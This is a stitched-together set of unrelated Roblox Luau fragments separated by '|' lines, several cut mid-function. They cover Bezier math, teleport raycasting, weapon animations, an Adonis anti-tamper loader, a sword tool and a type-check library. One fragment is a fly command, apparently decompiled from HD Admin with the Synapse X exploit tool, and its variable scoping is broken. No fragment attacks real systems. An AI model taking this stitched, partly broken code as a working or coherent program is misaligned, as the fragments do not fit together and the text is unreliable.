-- check if there is more than 1 point
if #points > 1 then
-- get length of bezier
local targetLength = length * t
-- iterate through sum table
local nearestParameterIndex, nearestParameter
for i, orderedPair in ipairs(lengthIndeces) do
if targetLength - orderedPair[2] <= 0 then
nearestParameterIndex = i
nearestParameter = orderedPair
break
elseif i == #lengthIndeces then
nearestParameterIndex = i
nearestParameter = orderedPair
break
end
end
-- calculate percent error
local p0, p1
if lengthIndeces[nearestParameterIndex - 1] then
p0, p1 = self:CalculatePositionAt(lengthIndeces[nearestParameterIndex - 1][1]), self:CalculatePositionAt(nearestParameter[1])
else
p0, p1 = self:CalculatePositionAt(nearestParameter[1]), self:CalculatePositionAt(lengthIndeces[nearestParameterIndex + 1][1])
end
local percentError = (nearestParameter[2] - targetLength) / (p1 - p0).Magnitude
-- return the position at the nearestParameter
return p0 + (p1 - p0) * (1 - percentError)
else
-- return only position
return self:CalculatePositionAt(0)
end
else
-- not enough points to get a position
error("Bezier:CalculatePositionRelativeToLength() only works if there is at least 1 BezierPoint!")
end
end
|
-- Finds an unobstructed spot teleportDistance studs away from destinationCharacter (nil if none found)
|
function TeleportToPlayer.getCharacterTeleportPoint(destinationCharacter: Model, teleportDistance: number): CFrame
local rootPart = destinationCharacter and destinationCharacter:FindFirstChild("HumanoidRootPart")
local humanoid = destinationCharacter and destinationCharacter:FindFirstChild("Humanoid")
if not rootPart or not humanoid then
return
end
-- Pre-populate ignore list with destinationCharacter in case it's not a player character (ex: NPCs)
local ignoreList = { destinationCharacter }
for _, player in ipairs(Players:GetChildren()) do
table.insert(ignoreList, player.Character)
end
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = ignoreList
-- Scan a circular area around the player to find a spot that's not blocked by a wall and has solid ground
-- below it
for i = 1, RAYCASTS_NUMBER do
local rotated = rootPart.CFrame * CFrame.Angles(0, math.pi * 2 * (i / RAYCASTS_NUMBER), 0)
-- First raycast to check if there is no obstacle in front
local forwardRaycastResult = workspace:Raycast(rootPart.Position, rotated.LookVector * 5, params)
if not forwardRaycastResult then
local forward = rotated + rotated.LookVector * teleportDistance
-- Second raycast to check if there is ground to stand on
local downwardRaycastResult = workspace:Raycast(forward.Position, Vector3.new(0, -MAX_HEIGHT, 0), params)
local position = downwardRaycastResult and downwardRaycastResult.Position
if position then
local lookAt = Vector3.new(rootPart.CFrame.X, position.Y, rootPart.CFrame.Z)
return CFrame.lookAt(position, lookAt)
end
end
end
return
end
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.908567965, -0.417737097, 0, -0.116105467, -0.252526551, 0.960598707, -0.401277721, -0.872769237, -0.277939081), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718405, -2.29667902, 0.787546694, -0.220071048, 0.575620472, -0.228010997, 0.76371783, 0.603942215, -0.572521806, -0.606880486, 0.55128479), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
objs[6].MagIn:Play()
TweenJoint(objs[3], nil , CFrame.new(0.387697816, -0.00340933353, -2.07909703, 0.796181142, -0.464059412, 0.388258159, -0.597459137, -0.501594126, 0.625656366, -0.0955937058, -0.730104268, -0.676616311), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718405, -2.29667902, 0.787546694, -0.220071048, 0.575620472, -0.228010997, 0.76371783, 0.603942215, -0.572521806, -0.606880486, 0.55128479), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
objs[6].MagIn:Play()
TweenJoint(objs[3], nil , CFrame.new(0.387697816, -0.00340933353, -2.07909703, 0.796181142, -0.464059412, 0.388258159, -0.597459137, -0.501594126, 0.625656366, -0.0955937058, -0.730104268, -0.676616311), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718405, -2.29667902, 0.787546694, -0.220071048, 0.575620472, -0.228010997, 0.76371783, 0.603942215, -0.572521806, -0.606880486, 0.55128479), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
objs[6].MagIn:Play()
TweenJoint(objs[3], nil , CFrame.new(0.387697816, -0.00340933353, -2.07909703, 0.796181142, -0.464059412, 0.388258159, -0.597459137, -0.501594126, 0.625656366, -0.0955937058, -0.730104268, -0.676616311), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(0.691167593, 0.576529324, -2.08171797, 0.787546694, -0.220071048, 0.575620472, -0.6159904, -0.308486581, 0.724839151, 0.0180550814, -0.925421417, -0.378509283), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.607143688, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.902175903, 0.151443958, -1.32277012, 1, 0, 0, 0, 0, 1, 0, -1, 0), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787546694, -0.220071048, 0.575620472, -0.6159904, -0.308486581, 0.724839151, 0.0180550814, -0.925421417, -0.378509283), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, -0, 0, 0, 1, 0, -1, 0), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.2)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.673770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
--[[
Represents the state relevant while executing a test plan.
Used by TestRunner to produce a TestResults object.
Uses the same tree building structure as TestPlanBuilder; TestSession keeps
track of a stack of nodes that represent the current path through the tree.
]]
|
local TestEnum = require(script.Parent.TestEnum)
local TestResults = require(script.Parent.TestResults)
local Context = require(script.Parent.Context)
local ExpectationContext = require(script.Parent.ExpectationContext)
local TestSession = {}
TestSession.__index = TestSession
|
-- Module Scripts
|
local ModuleScripts = ServerScriptService:FindFirstChild("ModuleScripts")
local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts")
local PlayerManager = require(RaceModules:FindFirstChild("PlayerManager"))
local GameSettings = require(RaceModules:FindFirstChild("GameSettings"))
local DisplayManager = require(RaceModules:FindFirstChild("DisplayManager"))
local LeaderboardManager = require(RaceModules:FindFirstChild("LeaderboardManager"))
local Timer = require(RaceModules:FindFirstChild("Timer"))
local RaceManager = require(ReplicatedModuleScripts:FindFirstChild("RaceManager"))
|
--local message = function(...) local Str = "" game:GetService("TestService"):Message(Str) end
|
local print = function(...)
print(":: Adonis ::", ...)
end
local warn = function(...)
warn(":: Adonis ::", ...)
end
|
--// Load client
|
if _G.__CLIENTLOADER then
warn("ClientLoader already running;");
else
_G.__CLIENTLOADER = true;
print("Debug: ACLI Loading?")
setfenv(1, {})
script.Name = "\0"
script:Destroy()
--lockCheck(script)
--lockCheck(game)
warn("Checking CoreGui")
if not Locked(game:GetService("CoreGui")) then
warn("CoreGui not locked?")
Kill("ACLI: Error")
else
warn(`CoreGui Locked: {Locked(game:GetService("CoreGui"))}`)
end
warn("Checking Services")
--[[for i,service in next,services do
doPcall(lockCheck, game:GetService(service))
end--]]
warn("Waiting for PlayerGui...");
local playerGui = player:FindFirstChildOfClass("PlayerGui") or player:WaitForChild("PlayerGui", 600);
if not playerGui then
warn("PlayerGui not found after 10 minutes");
Kick(player, "ACLI: PlayerGui Never Appeared (Waited 10 Minutes)");
else
playerGui.Changed:Connect(function()
if playerGui.Name ~= "PlayerGui" then
playerGui.Name = "PlayerGui";
end
end)
end
finderEvent = playerGui.ChildAdded:Connect(function(child)
warn("Child Added")
if not foundClient and child.Name == "Adonis_Container" then
local client = child:FindFirstChildOfClass("Folder");
doPcall(checkChild, client);
end
end)
warn("Waiting and scanning (incase event fails)...")
repeat
scan(playerGui);
wait(5);
until (time() - start > 600) or foundClient
warn(`Elapsed: {time() - start}`);
warn(`Timeout: {time() - start > 600}`);
warn(`Found Client: {foundClient}`);
warn("Disconnecting finder event...");
if finderEvent then
finderEvent:Disconnect();
end
warn("Checking if client found...")
if not foundClient then
warn("Loading took too long")
Kick(player, "\nACLI: [CLI-1162246] \nLoading Error [Took Too Long (>10 Minutes)]")
else
print("Debug: Adonis loaded?")
warn("Client found")
warn("Finished")
warn(time())
end
end
|
--Rescripted by Luckymaxer
--Made by Stickmasterluke
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Sparkles = Handle:WaitForChild("Sparkles")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
WeaponHud = Tool:WaitForChild("WeaponHud")
WeaponNameTag = WeaponHud:WaitForChild("WeaponName")
GuiBar = WeaponHud:WaitForChild("Bar")
GuiBarFill = GuiBar:WaitForChild("Fill")
WeaponNameTag.Text = Tool:WaitForChild("ToolName").Value
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
Animations = {
Equip = {Animation = Tool:WaitForChild("Equip"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil},
Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil},
RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil},
Stab1 = {Animation = Tool:WaitForChild("Stab1"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil},
Stab2 = {Animation = Tool:WaitForChild("Stab2"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil},
}
Sounds = {
Swoosh1 = Handle:WaitForChild("Swoosh1"),
Swoosh2 = Handle:WaitForChild("Swoosh2"),
Hit1 = Handle:WaitForChild("Hit1"),
Hit2 = Handle:WaitForChild("Hit2"),
Hit3 = Handle:WaitForChild("Hit3"),
Clash1 = Handle:WaitForChild("Clash1"),
Clash2 = Handle:WaitForChild("Clash2"),
Clash3 = Handle:WaitForChild("Clash3"),
Clash4 = Handle:WaitForChild("Clash4"),
Clash5 = Handle:WaitForChild("Clash5"),
}
Damage = 10 -- +/- 10%
DamageWindow = 1 --How long the player has to hit opponent to deal damage after click
SwingRate = 0.75
BloodEffects = true
Ready = false
ToolEquipped = false
Rate = (1 / 30)
LastSwing = 0
MouseDown = false
CurrentAnimation = nil
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
Tool.Enabled = true
ServerControl.OnServerInvoke = (function(player, Mode, Value)
if player == Player then
if Mode == "MouseClick" then
MouseDown = Value.Down
if MouseDown then
Activated()
end
elseif Mode == "KeyPress" then
local Key = Value.Key
local Down = Value.Down
end
end
end)
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Billboard(Pos, Text, Time, Color)
local Pos = (Pos or Vector3.new(0, 0, 0))
local Text = (Text or "Hello World!")
local Time = (Time or 2)
local Color = (Color or Color3.new(1, 0, 0))
local Pos = (Pos + Vector3.new(0, 5, 0))
local EffectPart = BasePart:Clone()
EffectPart.Name = "Effect"
EffectPart.Size = Vector3.new(0, 0, 0)
EffectPart.CFrame=CFrame.new(Pos)
EffectPart.Anchored = true
EffectPart.CanCollide = false
EffectPart.Transparency = 1
local BillboardGui = Instance.new("BillboardGui")
BillboardGui.Size = UDim2.new(3, 0, 3, 0)
BillboardGui.Adornee = EffectPart
local TextLabel = Instance.new("TextLabel")
TextLabel.BackgroundTransparency = 1
TextLabel.Size = UDim2.new(1, 0, 1, 0)
TextLabel.Text = Text
TextLabel.TextColor3 = Color
TextLabel.TextScaled = true
TextLabel.Font = Enum.Font.ArialBold
TextLabel.Parent = BillboardGui
BillboardGui.Parent = EffectPart
Debris:AddItem(EffectPart, (Time + 0.1))
EffectPart.Parent = game:GetService("Workspace")
delay(0, function()
local Frames = (Time / Rate)
for Frame = 1, Frames do
wait(Rate)
local Percent = (Frame / Frames)
EffectPart.CFrame=CFrame.new(Pos) + Vector3.new(0, (5 * Percent), 0)
TextLabel.TextTransparency = Percent
end
if EffectPart and EffectPart.Parent then
EffectPart:Destroy()
end
end)
end
function MakeBlood(Part)
if not Part then
return
end
local Blood = BasePart:Clone()
Blood.BrickColor = BrickColor.new("Bright red")
Blood.Shape = "Ball"
Blood.Transparency = (math.random(0, 1) * 0.5)
Blood.CanCollide = ((math.random() < 0.5 and false) or false)
Blood.Size = Vector3.new((0.2 * math.random(1, 5)), (0.2 * math.random(1, 5)), (0.2 * math.random(1, 5)))
Blood.Velocity= Part.Velocity + (Vector3.new((math.random() - 0.5), (math.random() - 0.5), (math.random() - 0.5)) * 30)
Blood.RotVelocity = Part.RotVelocity + (Vector3.new((math.random() - 0.5), (math.random() - 0.5), (math.random() - 0.5)) * 20)
Blood.CFrame= Part.CFrame * CFrame.new(((math.random() - 0.5) * 3), ((math.random() - 0.5) * 3), ((math.random() - 0.5) * 3)) * CFrame.Angles((math.pi * 2 * math.random()), (math.pi * 2 * math.random()), (math.pi * 2 * math.random()))
Debris:AddItem(Blood, (math.random() * 4))
Blood.Parent = game:GetService("Workspace")
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not Ready or not ToolEquipped or (tick() - LastSwing) > DamageWindow then
return
end
local character = Hit.Parent
if character == Character then
return
end
if Hit:FindFirstChild("CanBlock") and Handle:FindFirstChild("Blockable") then
local Ready = false
local PossibleSounds = {Sounds.Clash1, Sounds.Clash2, Sounds.Clash3, Sounds.Clash4, Sounds.Clash5}
local Sound = PossibleSounds[math.random(1, #PossibleSounds)]
Sound:Play()
Sparkles.Enabled = true
delay(0.2, function()
Sparkles.Enabled = false
end)
Billboard(Handle.Position, "Block", 2, Color3.new(1, 1, 0))
end
local humanoid = character:FindFirstChild("Humanoid")
local player = Players:GetPlayerFromCharacter(character)
local RightArm = Character:FindFirstChild("Right Arm")
if humanoid and humanoid.Health > 0 and humanoid ~= Humanoid and RightArm then
local RightGrip = RightArm:FindFirstChild("RightGrip")
if RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle) then
if player and player ~= Player and not Player.Neutral and not player.Neutral and Player.TeamColor == player.TeamColor then
return --No team killing
end
Ready = false
UntagHumanoid(humanoid)
TagHumanoid(humanoid)
local LocalDamage= math.floor(Damage * (0.9 + (math.random() * 0.2)) + 0.5)
humanoid:TakeDamage(LocalDamage)
Billboard(Hit.Position, ("-" .. tostring(LocalDamage)))
local PossibleSounds = {Sounds.Hit1, Sounds.Hit2, Sounds.Hit3}
local Sound = PossibleSounds[math.random(1, #PossibleSounds)]
Sound:Play()
if BloodEffects then
local NumBloodEffects = math.ceil(LocalDamage / 10)
for i = 1, math.random((NumBloodEffects - 1), (NumBloodEffects + 1)) do
MakeBlood(Hit)
end
end
end
end
end
function Activated()
if ToolEquipped and (tick() - LastSwing) >= SwingRate then
Tool.Enabled = false
Ready = true
local PossibleSounds = {Sounds.Swoosh1, Sounds.Swoosh2}
local Sound = PossibleSounds[math.random(1, #PossibleSounds)]
Sound:Play()
local AttackAnimations = {Animations.LeftSlash, Animations.RightSlash, Animations.Stab1, Animations.Stab2}
local NewAnimation = AttackAnimations[math.random(1, #AttackAnimations)]
while NewAnimation == CurrentAnimation do
NewAnimation = AttackAnimations[math.random(1, #AttackAnimations)]
end
CurrentAnimation = NewAnimation
InvokeClient("PlayAnimation", CurrentAnimation)
LastSwing = tick()
wait(SwingRate)
if MouseDown then
Activated()
end
Tool.Enabled = true
end
end
function UpdateGui()
local SwingPercent = math.min(((tick() - LastSwing) / SwingRate), 1)
if SwingPercent < 0.5 then --fade from red to yellow then to green
GuiBarFill.BackgroundColor3 = Color3.new(1, (SwingPercent * 2), 0)
else
GuiBarFill.BackgroundColor3 = Color3.new((1 - ((SwingPercent - 0.5 ) / 0.5)), 1, 0)
end
GuiBarFill.Size = UDim2.new(SwingPercent, 0, 1, 0)
end
function CheckIfAlive()
return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
local PlayerGui = Player:FindFirstChild("PlayerGui")
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
if PlayerGui then
WeaponHud.Parent = PlayerGui
end
InvokeClient("PlayAnimation", Animations.Equip)
LastSwing = tick()
Ready = false
ToolEquipped = true
for i, v in pairs(Animations) do
if v and v.Animation then
InvokeClient("Preload", v.Animation.AnimationId)
end
end
ToolEquipped = true
end
function Unequipped()
for i, v in pairs(Animations) do
InvokeClient("StopAnimation", v)
end
WeaponHud.Parent = Tool
ToolEquipped = false
Ready = false
end
Handle.Touched:connect(Blow)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
spawn(function()
while true do
UpdateGui()
wait(Rate)
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__HDAdminMain__1 = _G.HDAdminMain;
local function u2(p1, p2)
for v2, v3 in pairs(p1:GetDescendants()) do
if v3:IsA("BasePart") then
l__HDAdminMain__1.physicsService:SetPartCollisionGroup(v3, p2);
end;
end;
end;
function v1.Fly(p3, p4, p5)
local v4 = "PlatformStand";
if p4 == "fly2" then
v4 = "Sit";
end;
local v5 = l__HDAdminMain__1:GetModule("cf"):GetHRP();
local v6 = l__HDAdminMain__1:GetModule("cf"):GetHumanoid();
if v5 and v6 then
local v7 = Instance.new("BodyPosition");
v7.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
v7.Position = v5.Position + Vector3.new(0, 4, 0);
v7.Name = "HDAdminFlyForce";
v7.Parent = v5;
local v8 = Instance.new("BodyGyro");
v8.D = 50;
v8.MaxTorque = Vector3.new(math.huge, math.huge, math.huge);
if p5 then
v8.P = 2000;
else
v8.P = 200;
end;
v8.Name = "HDAdminFlyGyro";
v8.CFrame = v5.CFrame;
v8.Parent = v5;
local v9 = 0;
if p5 then
u2(workspace, "Group1");
u2(l__HDAdminMain__1.player.Character, "Group2");
end;
local v10 = tick();
local v11 = v5.Position;
while true do
local v12 = l__HDAdminMain__1.commandSpeeds[p4];
local v13, v14 = l__HDAdminMain__1:GetModule("cf"):GetNextMovement(tick() - v10, v12 * 10);
local l__Position__15 = v5.Position;
local v16 = CFrame.new(l__Position__15, l__Position__15 + (l__HDAdminMain__1.camera.Focus.p - l__HDAdminMain__1.camera.CFrame.p).unit) * v13;
local v17 = 750 + v12 * 0.2;
if p5 then
v17 = v17 / 2;
end;
if v13.p ~= Vector3.new() then
local v18 = 0;
v7.D = v17;
local v19 = 0 + 1;
v7.Position = v16.p;
else
v18 = v9 + 1;
v19 = 1;
if (v5.Position - v11).magnitude > 6 and v18 >= 4 then
v7.Position = v5.Position;
end;
end;
if math.abs(v19) > 25 then
v19 = 25;
end;
if v7.D == v17 then
local v20 = 0 * v14.X * -0.5;
if p5 then
local v21 = 0;
else
v21 = 0 * v14.Z;
end;
v8.CFrame = v16 * CFrame.Angles(math.rad(v21), 0, 0);
end;
v10 = tick();
v11 = v5.Position;
v6[v4] = true;
wait();
if not l__HDAdminMain__1.commandsActive[p4] then
break;
end;
if not v6 then
break;
end;
if not v5 then
break;
end;
end;
v7:Destroy();
v8:Destroy();
if v6 then
v6[v4] = false;
end;
if p5 then
u2(workspace, "Group3");
end;
end;
l__HDAdminMain__1.commandsActive[p4] = nil;
end;
return v1;
|
-- Target finding state
|
local target = nil
local newTarget = nil
local newTargetDistance = nil
local searchIndex = 0
local timeSearchEnded = 0
local searchRegion = nil
local searchParts = nil
local movingToAttack = false
local lastAttackTime = 0
|
-- As far as is known, the functions in this library are foolproof.
-- It cannot be fooled by a fake value that looks like a real one.
-- If it says a value is a CFrame, then it _IS_ a CFrame, period.
|
local lib = {}
local function set(object, property, value)
-- Sets the 'property' property of 'object' to 'value'.
-- This is used with pcall to avoid creating functions needlessly.
object[property] = value
end
function lib.isAnInstance(value)
-- Returns whether 'value' is an Instance value.
local _, result = pcall(game.IsA, value, 'Instance')
return result == true
end
function lib.isALibrary(value)
-- Returns whether 'value' is a RbxLibrary.
-- Finds its result by checking whether the value's GetApi function (if it has one) can be dumped (and therefore is a non-Lua function).
if pcall(function() assert(type(value.GetApi) == 'function') end) then -- Check if the value has a GetApi function.
local success, result = pcall(string.dump, value.GetApi) -- Try to dump the GetApi function.
return result == "unable to dump given function" -- Return whether the GetApi function could be dumped.
end
return false
end
function lib.isAnEnum(value)
-- Returns whether the value is an enum.
return pcall(Enum.Material.GetEnumItems, value) == true
end
function lib.coerceIntoEnum(value, enum)
-- Coerces a value into an enum item, if possible, throws an error otherwise.
if lib.isAnEnum(enum) then
for _, enum_item in next, enum:GetEnumItems() do
if value == enum_item or value == enum_item.Name or value == enum_item.Value then return enum_item end
end
else
error("The 'enum' argument must be an enum.", 2)
end
error("The value cannot be coerced into a enum item of the specified type.", 2)
end
function lib.isOfEnumType(value, enum)
